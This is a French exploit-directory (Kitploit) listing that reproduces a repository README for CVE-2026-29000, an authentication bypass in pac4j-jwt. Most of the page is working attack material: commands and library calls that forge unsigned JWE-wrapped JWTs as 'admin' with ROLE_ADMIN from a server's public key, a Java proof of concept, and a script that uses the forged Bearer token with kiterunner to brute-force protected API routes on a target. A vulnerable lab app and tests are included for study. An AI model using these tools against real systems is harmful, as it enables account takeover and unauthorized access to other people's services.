Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/kernelzeroday/cve-2026-29000
Authentification et AutorisationReconnaissanceGénération de PayloadsAnalyse des VulnérabilitésExploitationScripting et AutomatisationExploitation d'Applications WebTests d'Intrusion

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
kernelzeroday/cve-2026-29000

CVE-2026-29000

Forge des JWT non signés enveloppés en JWE pour contourner la vérification de signature pac4j-jwt (CVE-2026-29000) et s'authentifier en tant que n'importe quel utilisateur ; inclut un CLI Python, une bibliothèque, un PoC Java et un scan de routes kiterunner.

Voir le dépôt
93il y a 5 moisPas encore vérifié
Partager

CVE-2026-29000 : Contournement de l'authentification JwtAuthenticator de pac4j-jwt

Buildout complet : writeup, PoC Java in-process, CLI et bibliothèque Python de forge de jetons, tests.

Résumé

  • CVE : CVE-2026-29000 (CVSS 10, CWE-347)
  • Versions affectées : pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3 lors de l'utilisation de JWE + configuration de signature
  • Problème : PlainJWT (non signé) encapsulé en JWE contourne la vérification de signature ; un attaquant disposant uniquement de la clé publique RSA du serveur peut forger des jetons et s'authentifier en tant que n'importe quel utilisateur.

Voir WRITEUP.md pour les détails et les exigences du PoC.

Structure

CheminDescription
WRITEUP.mdRésumé de la CVE, cause racine, versions affectées, exigences du PoC, références
RECON.mdQuoi mettre (découverte de revendications, revendications spécifiques à l'application) et où soumettre (en-têtes, cookies, recherche de points de terminaison protégés)
OPERATIONALIZATION.mdCe qui est nécessaire pour exécuter en production : packaging, configuration, sécurité, automatisation, observabilité, maintenance
scripts/kr_scan.pyForger un jeton et exécuter kiterunner (~/bin/kr) avec Authorization: Bearer pour brute/scan des routes API protégées
examples/Scripts d'exemple : forge_and_curl.sh, forge_and_kr.sh
lab/Application Flask de laboratoire (point de terminaison JWE + JWKS) pour tester la forge de jetons
poc/PoC Java Maven (contournement in-process contre pac4j-jwt 6.0.3)
token_forge/Paquet Python : forger un PlainJWT encapsulé en JWE à partir d'une PEM ou d'une URL JWKS
tests/Tests Pytest pour les revendications, la forge, les clés, la CLI
requirements.txtDépendances Python (jwcrypto, requests, pytest)

Python (forge de jetons)

Configuration

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate   # ou .venv\Scripts\activate sur Windows
pip install -r requirements.txt

Exécuter la CLI

root@kitploit:~
# À partir d'une PEM (générer avec : openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /chemin/vers/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# À partir d'une URL JWKS
python -m token_forge --jwks-url https://cible/.well-known/jwks.json --subject admin

# Revendications supplémentaires (pour la découverte spécifique à l'application) : --claim [email protected] --claim key=value
# Options : --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose

Sortie : une seule ligne (JWT forgé) ; à utiliser comme Authorization: Bearer <token>.

Automatisation Kiterunner (kr)

Nécessite kr dans ~/bin/kr. Forger un jeton et exécuter kr brute (ou kr scan) avec l'authentification Bearer pour découvrir les routes protégées :

root@kitploit:~
python scripts/kr_scan.py https://cible.com --jwks-url https://cible.com/.well-known/jwks.json
python scripts/kr_scan.py https://cible.com --public-key pub.pem -w paths.txt -o json --dry-run

Voir RECON.md §4 pour les options (--subject, --roles, --claim, -A, --scan, etc.).

Bibliothèque

root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

Tests

root@kitploit:~
pytest -vv --tb=short --maxfail=1
# ou avec les avertissements comme erreurs :
pytest -vv -W error -W always --tb=short --maxfail=1

PoC Java

Compilation et exécution (nécessite Java 11+ et Maven)

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Ou jeton uniquement (sans validation in-process) :
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# Avec sujet/rôles personnalisés :
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

Résultat attendu : [BYPASS] Authenticated as: admin#override et les rôles lors de l'exécution in-process.

Tests et couverture

root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # puis ouvrir htmlcov/index.html

Docker

root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

Laboratoire (cible vulnérable)

Application Flask qui accepte JWE et renvoie les revendications (pour tester la forge + curl/kr).

root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

Voir lab/README.md.

Références

  • CodeAnt AI – PoC complet et analyse
  • Avis de sécurité pac4j
  • OpenCVE CVE-2026-29000
Télécharger l’outil